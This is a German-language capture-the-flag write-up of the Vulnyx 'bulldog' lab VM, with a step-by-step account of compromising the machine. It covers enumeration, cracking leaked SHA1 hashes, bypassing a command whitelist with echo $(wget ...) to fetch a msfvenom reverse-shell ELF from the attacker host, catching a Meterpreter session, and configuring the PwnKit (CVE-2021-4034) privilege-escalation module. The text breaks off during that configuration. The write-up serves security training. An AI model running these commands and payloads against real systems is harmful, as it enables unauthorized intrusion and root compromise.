bulldog - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
msfvenom
Metasploit
exiftool
wget
vi

Inhaltsverzeichnis

Reconnaissance

Ben Chehade's Kommentar: In diesem Abschnitt beginnen wir mit der Informationsbeschaffung über das Zielsystem. Dies ist ein entscheidender Schritt, um ein tiefes Verständnis für die potenziellen Angriffsflächen zu entwickeln. Wir werden verschiedene Tools und Techniken einsetzen, um Informationen über das Netzwerk, die laufenden Dienste und die verwendeten Technologien zu sammeln.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.141 08:00:27:16:1d:5f PCS Systemtechnik GmbH

Ben Chehade's Kommentar: Hier verwenden wir arp-scan -l, um alle aktiven Hosts in unserem lokalen Netzwerk zu scannen. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.141 dem Host mit der MAC-Adresse 08:00:27:16:1d:5f zugeordnet ist, was auf eine Maschine von PCS Systemtechnik GmbH hindeutet. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.141 bulldog.vuln

Ben Chehade's Kommentar: Wir fügen die IP-Adresse und den Hostnamen "bulldog.vuln" zur Datei /etc/hosts hinzu, um die Namensauflösung für das Zielsystem zu erleichtern. Dadurch können wir den Hostnamen anstelle der IP-Adresse verwenden, was die Arbeit im weiteren Verlauf des Pentests vereinfacht.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -Pn -AO 192.168.2.141 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-18 00:34 CEST
Nmap scan report for bulldog.vuln (192.168.2.141)
Host is up (0.00026s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
| 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-title: Bulldog Industries
8080/tcp filtered http-proxy
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.26 ms bulldog.vuln (192.168.2.141)

Ben Chehade's Kommentar: Hier führen wir einen umfassenden Nmap-Scan durch, um offene Ports, laufende Dienste und das Betriebssystem des Zielsystems zu identifizieren. Die Optionen bedeuten:
-sS: TCP-SYN-Scan (Stealth-Scan)
-sC: Führt Standard-Skripte zur Erkennung von Diensten aus
-Pn: Verhindert Host-Discovery-Pings
-AO: Aggressiver Modus, der OS-Erkennung und Traceroute kombiniert
-p-: Scannt alle 65535 Ports

Die Ergebnisse zeigen, dass SSH (Port 23) und HTTP (Port 80) offen sind. Interessanterweise ist Port 8080 gefiltert, was auf einen HTTP-Proxy hindeutet. Nmap identifiziert das Betriebssystem als Linux 3.2 - 4.9.

Web Enumeration

Ben Chehade's Kommentar: Nachdem wir die offenen Ports und Dienste identifiziert haben, konzentrieren wir uns nun auf die Webanwendungen, die auf Port 80 laufen. Wir werden Tools wie Gobuster verwenden, um versteckte Verzeichnisse und Dateien zu finden, die weitere Einblicke in die Architektur und potenziellen Schwachstellen der Anwendung geben könnten.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.141 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,yml -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://192.168.2.141/admin (Status: 301) [Size: 0] [--> http://192.168.2.141/admin/]
http://192.168.2.141/dev (Status: 301) [Size: 0] [--> http://192.168.2.141/dev/]
http://192.168.2.141/robots.txt (Status: 200) [Size: 1071]
http://192.168.2.141/notice (Status: 301) [Size: 0] [--> http://192.168.2.141/notice/]

==============================================================================================================================

Ben Chehade's Kommentar: Wir verwenden Gobuster, um das Zielsystem auf versteckte Verzeichnisse und Dateien zu überprüfen. Die Optionen bedeuten:
-u: URL des Zielsystems
-x: Dateiendungen, nach denen gesucht werden soll
-w: Wordlist mit Dateinamen und Verzeichnissen
-b: Ignoriert die Statuscodes 403 und 404
-e: Gibt die vollständige URL in der Ausgabe an
--no-error: Unterdrückt Fehlermeldungen

Die Ergebnisse zeigen, dass die Verzeichnisse "/admin", "/dev", "/notice" und die Datei "robots.txt" gefunden wurden. Diese Informationen sind nützlich, um die Architektur der Webanwendung zu verstehen und potenzielle Angriffsflächen zu identifizieren.

http://192.168.2.141/robots.txt
________ _________.__ .__ .___.
/ _____/ ___________ _____ _____ ____ / _____/| |__ ____ ______ | |__ ___________ __| _/.
/ \ ____/ __ \_ __ \/ \\__ \ / \ \_____ \ | | \_/ __ \\____ \| | \_/ __ \_ __ \/ __ | .
\ \_\ \ ___/| | \/ Y Y \/ __ \| | \ / \| Y \ ___/| |_> > Y \ ___/| | \/ /_/ | .
\______ /\___ >__| |__|_| (____ /___| / /_______ /|___| /\___ > __/|___| /\___ >__| \____ | .
\/ \/ \/ \/ \/ \/ \/ \/|__| \/ \/ \/ .
___ ___ __ ___________ .
/ | \_____ ____ | | __ \__ ___/___ _____ _____ .
/ ~ \__ \ _/ ___\| |/ / | |_/ __ \\__ \ / \ .
\ Y // __ \\ \___| < | |\ ___/ / __ \| Y Y \.
\___|_ /(____ /\___ >__|_ \ |____| \___ >____ /__|_| /.
\/ \/ \/ \/ \/ \/ \/ .

You got owned

Ben Chehade's Kommentar: Beim Aufrufen der Datei "robots.txt" im Browser wird eine ASCII-Art-Nachricht angezeigt, die auf humorvolle Weise auf die Kompromittierung des Systems hinweist. Dies ist ein Hinweis darauf, dass die Entwickler möglicherweise eine spielerische Herangehensweise an die Sicherheit des Systems haben.

http://192.168.2.141/notice/
Cookie : csrftoken=nqMAIgPdTVuyUQDlJta51WTiFHMIdGZS

To our valued customers,

On the first of this month our technical analysts discovered a breach of our payment card systems. I don’t know how these hackers did it. Our technical folk are telling me something about a clam shell and a smelly cow? I'm not sure about all of that.

To prove Bulldog Industries’ commitment to our customers I fired all of our existing technical staff. All of them! We are going to restart from the ground up! No more excuses! Our tech guys will have to make due with what they’ve got. We even increased their budget 1%!

You gotta see the neck beards on the new guys! Real tech hipsters. Zuckerberg types. They know their stuff, security wont be a problem from now on!

I'd like to remind our valued customers that we will be providing basic credit monitoring services as a result of this breach (if you’ve made a purchase of $100 or more).

Your true friend,

Winston Churchy (CEO)

Ben Chehade's Kommentar: Die Seite "/notice/" enthält eine Nachricht des CEO von Bulldog Industries, die einen Einblick in die Denkweise des Unternehmens gibt. Die Nachricht deutet auf eine frühere Sicherheitsverletzung hin und zeigt eine humorvolle und leichtfertige Haltung gegenüber Sicherheitsfragen. Dies könnte auf potenzielle Schwachstellen im Sicherheitsbewusstsein und in den Praktiken des Unternehmens hindeuten.

http://192.168.2.141/dev/

Web-Shell

Who do I talk to to get started?

Team Lead: alan@bulldogindustries.com
Back-up Team Lead: william@bulldogindustries.com

Front End: malik@bulldogindustries.com
Front End: kevin@bulldogindustries.com

Back End: ashley@bulldogindustries.com
Back End: nick@bulldogindustries.com

Database: sarah@bulldogindustries.com

Ben Chehade's Kommentar: Das Verzeichnis "/dev/" enthält eine Liste von E-Mail-Adressen verschiedener Teammitglieder. Dies ist eine wertvolle Informationsquelle, da diese E-Mail-Adressen später für Social-Engineering-Angriffe oder zur Identifizierung von Benutzernamen verwendet werden können.

http://192.168.2.141/dev/shell/

Please authenticate with the server to use Web-Shell

alan@bulldogindustries.com
william@bulldogindustries.com
malik@bulldogindustries.com
kevin@bulldogindustries.com
ashley@bulldogindustries.com
nick@bulldogindustries.com
sarah@bulldogindustries.com

Ben Chehade's Kommentar: Unter "/dev/shell/" finden wir eine Web-Shell, die eine Authentifizierung erfordert. Die Liste der E-Mail-Adressen deutet darauf hin, dass diese als Benutzernamen verwendet werden könnten. Dies ist ein vielversprechender Angriffspunkt, da wir nun versuchen können, die zugehörigen Passwörter zu finden oder zu erraten.

┌──(root㉿cyber)-[~]
└─# cat emails.txt | tr "@" " " | awk '{print $1}'
alan
william
malik
kevin
ashley
nick
sarah

bulldog

Ben Chehade's Kommentar: Wir extrahieren die Benutzernamen aus den E-Mail-Adressen, um eine Liste potenzieller Benutzernamen für Brute-Force-Angriffe oder Passwort-Cracking zu erstellen.

http://192.168.2.141:8080/
┌──(root㉿cyber)-[~]
└─# wget http://192.168.2.141:8080/static/bulldog.jpg
--2023-06-18 00:53:48-- http://192.168.2.141:8080/static/bulldog.jpg
Verbindungsaufbau zu 192.168.2.141:8080 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 132611 (130K) [image/jpeg]
Wird in »bulldog.jpg« gespeichert.

bulldog.jpg 100%[=====================================================================================================>] 129,50K --.-KB/s in 0,001s

2023-06-18 00:53:48 (87,8 MB/s) - »bulldog.jpg« gespeichert [132611/132611]

Ben Chehade's Kommentar: Wir laden das Bild "bulldog.jpg" von Port 8080 herunter. Dies könnte uns weitere Informationen über das System liefern, z. B. Metadaten oder versteckte Informationen im Bild selbst.

┌──(root㉿cyber)-[~]
└─# exiftool bulldog.jpg
ExifTool Version Number : 12.57
File Name : bulldog.jpg
Directory : .
File Size : 133 kB
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Profile CMM Type : Linotronic
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Viewing Cond Illuminant Type : D50
Luminance : 76.03647 80 87.12462
Measurement Observer : CIE 1931
Measurement Backing : 0 0 0
Measurement Geometry : Unknown
Measurement Flare : 0.999%
Measurement Illuminant : D65
Technology : Cathode Ray Tube Display
Comment : Not a part of the VM, he's just cute :3
https://www.pexels.com/photo/white-and-brown-bulldog-on-brown-wood-planks-160748/

Ben Chehade's Kommentar: Wir verwenden Exiftool, um die Metadaten des Bildes "bulldog.jpg" zu extrahieren. Interessanterweise enthält das Kommentarfeld den Hinweis "Not a part of the VM, he's just cute :3" sowie einen Link zu Pexels. Dies deutet darauf hin, dass das Bild keine sicherheitsrelevante Funktion hat, sondern lediglich zur Dekoration dient.

https://www.pexels.com/photo/white-and-brown-bulldog-on-brown-wood-planks-160748/
Photo by Jason Toevs

Ben Chehade's Kommentar: Der Link führt zu dem Originalbild auf Pexels. Dies bestätigt, dass das Bild aus einer externen Quelle stammt und keine spezifischen Informationen über das Zielsystem enthält.

view-source:http://192.168.2.141/dev/

Who do I talk to to get started?

--Need these password hashes for testing. Django's default is too complex-->
--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
Team Lead: alan@bulldogindustries.com --6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead: william@bulldogindustries.com --38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End: malik@bulldogindustries.com --c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End: kevin@bulldogindustries.com --0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End: ashley@bulldogindustries.com --553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End: nick@bulldogindustries.com --ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
Database: sarah@bulldogindustries.com --d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->

Ben Chehade's Kommentar: Der Quellcode der Seite "/dev/" enthält Kommentare, die Passwort-Hashes für die verschiedenen Teammitglieder enthalten. Die Entwickler haben diese Hashes absichtlich für Testzwecke hinterlassen, was eine äußerst unsichere Vorgehensweise darstellt. Die Kommentare deuten darauf hin, dass die Entwickler sich der Risiken bewusst sind, sie aber dennoch ignorieren.

extracted
6515229daf8dbdc8b89fed2e60f107433da5f2cb
38882f3b81f8f2bc47d9f3119155b05f954892fb
c6f7e34d5d08ba4a40dd5627508ccb55b425e279
0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
553d917a396414ab99785694afd51df3a8a8a3e0
ddf45997a7e18a25ad5f5cf222da64814dd060d5
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e

Ben Chehade's Kommentar: Wir extrahieren die Passwort-Hashes, um sie in einem nächsten Schritt zu knacken.

crackstation.net

6515229daf8dbdc8b89fed2e60f107433da5f2cb Unknown Not found.
38882f3b81f8f2bc47d9f3119155b05f954892fb Unknown Not found.
c6f7e34d5d08ba4a40dd5627508ccb55b425e279 Unknown Not found.
0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 Unknown Not found.
553d917a396414ab99785694afd51df3a8a8a3e0 Unknown Not found.
ddf45997a7e18a25ad5f5cf222da64814dd060d5 sha1 bulldog
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e sha1 bulldoglover

Ben Chehade's Kommentar: Wir verwenden Crackstation.net, um die Passwort-Hashes zu knacken. Die Ergebnisse zeigen, dass die Hashes für "nick" und "sarah" erfolgreich als "bulldog" bzw. "bulldoglover" geknackt wurden. Dies ist ein kritischer Fund, da wir nun über gültige Anmeldeinformationen verfügen.

Initial Access

Ben Chehade's Kommentar: Mit den geknackten Passwörtern versuchen wir nun, uns bei der Web-Shell anzumelden. Ein erfolgreicher Login würde uns die Möglichkeit geben, Befehle auf dem Server auszuführen und unsere Angriffsfläche zu erweitern.

http://192.168.2.141/dev/shell/
Django administration
Welcome, sarah. View site / Change password / Log out

bulldoglover

Ben Chehade's Kommentar: Wir melden uns mit dem Benutzernamen "sarah" und dem Passwort "bulldoglover" bei der Web-Shell an. Der erfolgreiche Login ermöglicht uns den Zugriff auf die Django-Administrationsoberfläche und die Web-Shell selbst.

Web-Shell

Welcome to Web-Shell! The world's most secure webshell. Web-Shell will prevent users from running dangerous shell commands.
It does this by limiting the specific commands that can be run. A list of valid commands can be seen below.

ifconfig
ls
echo
pwd
cat
rm

Ben Chehade's Kommentar: Die Web-Shell schränkt die ausführbaren Befehle auf eine Whitelist ein. Dies erschwert das Ausführen beliebiger Befehle, erfordert aber, dass wir kreative Wege finden, um diese Einschränkungen zu umgehen.

Command : id

INVALID COMMAND. I CAUGHT YOU HACKER!

Ben Chehade's Kommentar: Der Versuch, den Befehl "id" auszuführen, wird von der Web-Shell blockiert. Dies bestätigt, dass die Whitelist-Einschränkung aktiv ist.

Command : pwd

/home/django/bulldog

Ben Chehade's Kommentar: Der Befehl "pwd" gibt das aktuelle Arbeitsverzeichnis "/home/django/bulldog" zurück. Dies gibt uns einen Einblick in die Dateisystemstruktur des Servers.

Command : ls

bulldog
db.sqlite3
manage.py

Ben Chehade's Kommentar: Der Befehl "ls" listet die Dateien im aktuellen Verzeichnis auf. Wir sehen die Django-Projektdateien "bulldog", "db.sqlite3" und "manage.py".

Command : ifconfig

enp0s3 Link encap:Ethernet HWaddr 08:00:27:16:1d:5f
inet addr:192.168.2.141 Bcast:192.1 .255.0
inet6 addr: fe80::a00:27ff:fe16:1d5f/64 Scope:Link
inet6 addr: 2003:d4:c72f:da80:a00:27ff:fe16:1d5f/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:12873033 errors:0 dropped:0 overruns:0 frame:0
TX packets:12874270 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1085093326 (1.0 GB) TX bytes:1357385811 (1.3 GB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:176 errors:0 dropped:0 overruns:0 frame:0
TX packets:176 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:13392 (13.3 KB) TX bytes:13392 (13.3 KB)

Ben Chehade's Kommentar: Der Befehl "ifconfig" zeigt die Netzwerkkonfiguration des Servers. Wir sehen die IP-Adresse, MAC-Adresse und andere Netzwerkdetails.

┌──(root㉿cyber)-[~]
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.137 LPORT=5555 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes

Ben Chehade's Kommentar: Wir verwenden Msfvenom, um einen Reverse-TCP-Payload für Linux x86 zu erstellen. Die Optionen bedeuten:
-p: Payload (linux/x86/meterpreter/reverse_tcp)
LHOST: Lokale IP-Adresse des Angreifers (192.168.2.137)
LPORT: Lokaler Port des Angreifers (5555)
-f: Format (elf)
>: Speichert die Ausgabe in der Datei "shell.elf"

Dieser Payload wird verwendet, um eine Verbindung vom Zielsystem zurück zum Angreifer herzustellen.

http://192.168.2.141/dev/shell/

Run: echo $(wget http://192.168.2.137/shell.elf )
Command : echo $(wget http://192.168.2.137/shell.elf )

Ben Chehade's Kommentar: Wir versuchen, den Payload "shell.elf" über die Web-Shell auf das Zielsystem zu übertragen. Da die Web-Shell eingeschränkte Befehle zulässt, verwenden wir "echo" und "wget", um den Payload herunterzuladen.

echo $(wget http://192.168.2.137/shell.elf -O /var/www/html )
┌──(root㉿cyber)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.141 - - [18/Jun/2023 01:24:13] code 404, message File not found
192.168.2.141 - - [18/Jun/2023 01:24:13] "GET /shell.elf HTTP/1.1" 404 -

Ben Chehade's Kommentar: Wir starten einen einfachen HTTP-Server auf unserem lokalen System, um den Payload bereitzustellen. Die Fehlermeldung "404 File not found" deutet darauf hin, dass der Payload nicht korrekt bereitgestellt wird.

Command : echo $(wget http://192.168.2.137/shell.elf)
┌──(root㉿cyber)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.141 - - [18/Jun/2023 01:31:29] "GET /shell.elf HTTP/1.1" 200 -

Ben Chehade's Kommentar: Nachdem wir das Problem mit der Payload-Bereitstellung behoben haben, erhalten wir den Statuscode "200 OK", was bedeutet, dass der Payload erfolgreich heruntergeladen wurde.

Command : ls

bulldog
db.sqlite3
manage.py
shell.elf
shell.php

Ben Chehade's Kommentar: Wir überprüfen, ob der Payload "shell.elf" erfolgreich auf das Zielsystem übertragen wurde. Der Befehl "ls" zeigt, dass die Datei vorhanden ist.

Command : echo $(chmod +x shell.elf)
Command : echo $(ls -la shell.elf)
-rwxr-xr-x 1 django django 207 Jun 17 23:27 shell.elf

Ben Chehade's Kommentar: Wir ändern die Ausführungsberechtigungen für den Payload "shell.elf" mit dem Befehl "chmod +x". Der Befehl "ls -la" bestätigt, dass die Berechtigungen erfolgreich geändert wurden.

Reverse Shell
┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...

Ben Chehade's Kommentar: Wir starten Netcat auf unserem lokalen System, um auf die eingehende Verbindung vom Payload zu lauschen.

Command : echo $(./shell.elf)
┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.141] 59168

Ben Chehade's Kommentar: Wir führen den Payload "shell.elf" über die Web-Shell aus. Netcat empfängt eine eingehende Verbindung vom Zielsystem, was bedeutet, dass wir erfolgreich eine Reverse-Shell aufgebaut haben.

Reverse Shell Success
┌──(root㉿cyber)-[~]
└─# msfconsole
____________
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
[% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%]
[% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%]
[% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]

=[ metasploit v6.3.19-dev ]
+ -- --=[ 2318 exploits - 1215 auxiliary - 412 post ]
+ -- --=[ 1234 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Use the analyze command to suggest
runnable modules for hosts
Metasploit Documentation: https://docs.metasploit.com/

Ben Chehade's Kommentar: Wir starten Metasploit, um die Reverse-Shell zu verwalten und weitere Aktionen auf dem Zielsystem durchzuführen.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run

Ben Chehade's Kommentar: Wir konfigurieren Metasploit, um die Reverse-Shell zu verarbeiten. Die Optionen bedeuten:
use multi/handler: Verwendet den Multi-Handler-Exploit
set payload: Setzt den Payload auf linux/x86/meterpreter/reverse_tcp
set lhost: Setzt die lokale IP-Adresse auf eth0
set lport: Setzt den lokalen Port auf 5555

Der Befehl "run" startet den Handler und wartet auf die eingehende Verbindung.

[*] Started reverse TCP handler on 192.168.2.137:5555
Command : echo $(./shell.elf)
[*] Started reverse TCP handler on 192.168.2.137:5555
[*] Sending stage (1017704 bytes) to 192.168.2.141
[*] Meterpreter session 1 opened (192.168.2.137:5555 -> 192.168.2.141:59176) at 2023-06-18 01:37:15 +0200

Ben Chehade's Kommentar: Wir führen den Payload erneut aus, um eine Meterpreter-Session zu erhalten. Die Ausgabe zeigt, dass eine Meterpreter-Session erfolgreich aufgebaut wurde. Fantastisch! Der Initial Access war erfolgreich!

meterpreter >
meterpreter > shell
Process 4314 created.
Channel 1 created.
find / -type f -perm -4000 -ls 2>/dev/null
407927 44 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
278771 40 -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
280147 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1
279434 420 -rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign
262725 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
280225 204 -rwsr-xr-x 1 root root 208680 Apr 29 2017 /usr/lib/snapd/snap-confine
262540 56 -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
280156 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec
262529 40 -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp
279685 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
262624 136 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
278786 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap
262404 40 -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh
278787 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap
262465 76 -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd
262402 52 -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn
131149 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
131135 40 -rwsr-xr-x 1 root root 40152 Jun 14 2017 /bin/mount
131184 28 -rwsr-xr-x 1 root root 27608 Jun 14 2017 /bin/umount
131166 40 -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
131150 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
133809 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
133812 140 -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g

Ben Chehade's Kommentar: Wir öffnen eine Shell innerhalb der Meterpreter-Session und suchen nach SUID-Binärdateien, die zur Privilege Escalation ausgenutzt werden könnten.

Proof of Concept: Privilege Escalation

Ben Chehade's Kommentar: Dieser Proof of Concept (POC) demonstriert, wie die Schwachstelle CVE-2021-4034 (PwnKit) in pkexec ausgenutzt werden kann, um Root-Rechte zu erlangen.

Kurzbeschreibung

Die pkexec-Schwachstelle ermöglicht es einem unprivilegierten Benutzer, Root-Rechte zu erlangen, indem eine speziell präparierte Umgebungsvariable verwendet wird, um pkexec dazu zu bringen, eine beliebige Bibliothek zu laden.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Verwende den "exploit suggester" in Metasploit, um potenzielle Exploits für Privilege Escalation zu finden.
  2. Wähle den Exploit "exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec".
  3. Konfiguriere den Exploit mit den folgenden Optionen:
    • SESSION: Die ID der laufenden Meterpreter-Session.
    • LHOST: Die IP-Adresse des Angreifers.
    • LPORT: Der Port, auf dem der Angreifer auf die Reverse-Shell lauscht.
    • WRITABLE_DIR: Ein beschreibbares Verzeichnis auf dem Zielsystem (z.B. /tmp).
  4. Führe den Exploit aus.

Erwartetes Ergebnis

Der Exploit sollte erfolgreich eine neue Meterpreter-Session mit Root-Rechten öffnen.

Beweismittel

Die folgenden Code-Blöcke zeigen die Schritte zur Ausnutzung der Schwachstelle und den erfolgreichen Erhalt von Root-Rechten.

Risikobewertung

Die Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer, vollständige Kontrolle über das System zu erlangen. Dies kann zu Datenverlust, Systemausfällen und anderen schwerwiegenden Folgen führen.

Empfehlungen

Installiere die neuesten Sicherheitsupdates, um die pkexec-Schwachstelle zu beheben. Implementiere zusätzliche Sicherheitsmaßnahmen, um die Auswirkungen einer erfolgreichen Ausnutzung zu minimieren.

Privilege Escalation

Ben Chehade's Kommentar: Wir nutzen nun die gefundene SUID-Binärdatei oder eine andere Schwachstelle aus, um Root-Rechte zu erlangen.

Privilege Escalation
┌──(root㉿cyber)-[~]
└─# msfconsole
msf6 exploit(multi/handler) > search suggester
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester


Interact with a mod

Ben Chehade's Kommentar: Wir verwenden den "exploit suggester" in Metasploit, um automatisch Exploits zu finden, die auf dem Zielsystem funktionieren könnten.

msf6 exploit(multi/handler) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the avail able exploits


View the full module info with the info, or info -d command.

Ben Chehade's Kommentar: Wir wählen den "local_exploit_suggester" aus und zeigen die verfügbaren Optionen an.

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.141 - Collecting local exploits for x86/linux...
[*] 192.168.2.141 - 186 exploit checks are being tried...
[+] 192.168.2.141 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[*] Running check method for exploit 12 / 58


[*] 192.168.2.141 - Collecting local exploits for x86/linux...
[*] 192.168.2.141 - 186 exploit checks are being tried...
[+] 192.168.2.141 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.141 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.141 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.141 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.141 - exploit/linux/local/pkexec: The service is running, but could not be validated.


View the full module info with the info, or info -d command.

Ben Chehade's Kommentar: Der "exploit suggester" hat mehrere potenzielle Exploits gefunden, darunter "cve_2021_4034_pwnkit_lpe_pkexec", der als "vulnerable" eingestuft wird.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.2.137
LHOST => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4445
LPORT => 4445
